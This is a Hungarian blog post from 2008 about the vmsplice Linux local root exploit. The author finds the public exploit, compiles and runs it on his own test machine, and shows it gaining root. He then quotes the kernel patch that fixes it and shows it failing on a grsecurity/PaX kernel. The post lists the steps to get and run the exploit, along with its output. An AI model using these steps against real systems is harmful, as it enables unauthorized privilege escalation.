Na hát nem rég olvastam a HUP-n, hogy van egy új LINUX local root exploit. Nekiálltam, és kipróbáltam én is.
Nézzük, hogy a fél világ hogyan töri most szét a linux gépeket…
1. google: vmsplice local root
A legelső találat az exploit forráskódja.
2. vi vms.c
Fordítsuk le a fájlt.
3. gcc -o vms vms.c
Indítsuk el:
./vms
Éjjen éjjen hurrá, na az én teszt gépem egy viszonylag friss ETCH:
xcke@neuronhil:~$ ./vrm
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] mmap: 0×0 .. 0×1000
[+] page: 0×0
[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: 0×4020
[+] mmap: 0×1000 .. 0×2000
[+] page: 0×1000
[+] mmap: 0xb7d9a000 .. 0xb7dcc000
[+] root
root@neuronhil:~# id
uid=0(root) gid=0(root) groups=1001(xcke)
root@neuronhil:~#
root@neuronhil:~# uname -a
Linux neuronhil 2.6.18-6-686 #1 SMP Wed Jan 23 03:23:22 UTC 2008 i686 GNU/Linux
root@neuronhil:~#
És kész is, root jog. Nem kell hozzá túl sok tudás. Na, hát kb ennyit a Linux biztonságáról is…Most cserélhetem le X db szerveren a kernelt
Javítás:
2.6.24.2 has been released to fix this
here’s the changelogcommit 1617e66d11d6621824f642728d62f242272fd063
Author: Bastian Blank <bastian@waldi.eu.org>
Date: Sun Feb 10 16:47:57 2008 +0200splice: fix user pointer access in get_iovec_page_array()
patch 712a30e63c8066ed84385b12edbfb804f49cbc44 in mainline.
Commit 8811930dc74a503415b35c4a79d14fb0b408a361 ("splice: missing user
pointer access verification") added the proper access_ok() calls to
copy_from_user_mmap_sem() which ensures we can copy the struct iovecs
from userspace to the kernel.
But we also must check whether we can access the actual memory region
pointed to by the struct iovec to fix the access checks properly.
UPDATE:
Szerencsére ha GRSEC/PAX-s kernelünk van akkor nem működik az exploit, vagy legalábbis az egyik saját szerveren…
xcke@xckePOWER:~$ ./vms
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] mmap: 0×0 .. 0×1000
[+] page: 0×0
[+] page: 0×20
[+] mmap: 0×4000 .. 0×5000
[+] page: 0×4000
[+] page: 0×4020
[+] mmap: 0×1000 .. 0×2000
[+] page: 0×1000
[+] mmap: 0×53707000 .. 0×53739000Message from syslogd@xckePOWER at Tue Feb 12 13:19:44 2008 …
xckePOWER kernel: PAX: suspicious general protection fault: 0000 [#1]Message from syslogd@xckePOWER at Tue Feb 12 13:19:44 2008 …
xckePOWER kernel: CPU: 0
Segmentation fault
xcke@xckePOWER:~$
Message from syslogd@xckePOWER at Tue Feb 12 13:19:44 2008 …
xckePOWER kernel: EIP: 0060:[<00061970>] Not tainted VLIMessage from syslogd@xckePOWER at Tue Feb 12 13:19:44 2008 …
xckePOWER kernel: EFLAGS: 00010202 (2.6.23.8-orly-grsec #1)Message from syslogd@xckePOWER at Tue Feb 12 13:19:44 2008 …
xckePOWER kernel: eax: 00001000 ebx: 00000004 ecx: 00000096 edx: 00000000Message from syslogd@xckePOWER at Tue Feb 12 13:19:44 2008 …
xckePOWER kernel: esi: e5abff7c edi: ffffffe0 ebp: 00000001 esp: e5abfe14Message from syslogd@xckePOWER at Tue Feb 12 13:19:44 2008 …
xckePOWER kernel: ds: 0068 es: 0068 fs: 0000 gs: 0033 ss: 0068Message from syslogd@xckePOWER at Tue Feb 12 13:19:44 2008 …
xckePOWER kernel: Process vms (pid: 12610, ti=e5abe000 task=d5e2faa0 task.ti=e5abe000)Message from syslogd@xckePOWER at Tue Feb 12 13:19:44 2008 …
xckePOWER kernel: Stack: 00000003 00000000 00000030 00000000 fffcffff 00000030 00000030 00000000Message from syslogd@xckePOWER at Tue Feb 12 13:19:44 2008 …
xckePOWER kernel: 000620a6 ffffffd0 00000000 00000000 e5abff24 00000000 e5abffe4 c5bafc60Message from syslogd@xckePOWER at Tue Feb 12 13:19:44 2008 …
xckePOWER kernel: ec507800 00000030 00000000 00000001 00000000 00001000 0001d000 00000000Message from syslogd@xckePOWER at Tue Feb 12 13:19:44 2008 …
xckePOWER kernel: Call Trace:Message from syslogd@xckePOWER at Tue Feb 12 13:19:44 2008 …
xckePOWER kernel: [<000620a6>] <0> [<0001d000>] <0> [<0004ea75>] <0> [<0005b1ac>] <0> [<000483a4>] <0> =================== ====Message from syslogd@xckePOWER at Tue Feb 12 13:19:44 2008 …
xckePOWER kernel: Code: 00 00 00 e8 f3 e4 fa ff 8d 43 28 b9 01 00 02 00 ba 1d 00 00 00 e8 51 1a ff ff 8d 1c ad 00 00 00 00 eb 0f 8b 06 45 01 d8 83 c3 04 <8b> 00 e8 0a 51 fd ff 3b 6c 24 08 72 eb 83 c4 10 89 f8 5b 5e 5fMessage from syslogd@xckePOWER at Tue Feb 12 13:19:44 2008 …
xckePOWER kernel: EIP: [<00061970>] SS:ESP 0068:e5abfe14xcke@xckePOWER:~$
xcke@xckePOWER:~$ uname -a
Linux xckePOWER 2.6.23.8-orly-grsec #1 Fri Nov 30 21:09:14 CET 2007 i686 GNU/Linux
xcke@xckePOWER:~$

Popularity: 32% [?]
Related posts:

























None
Leave a reply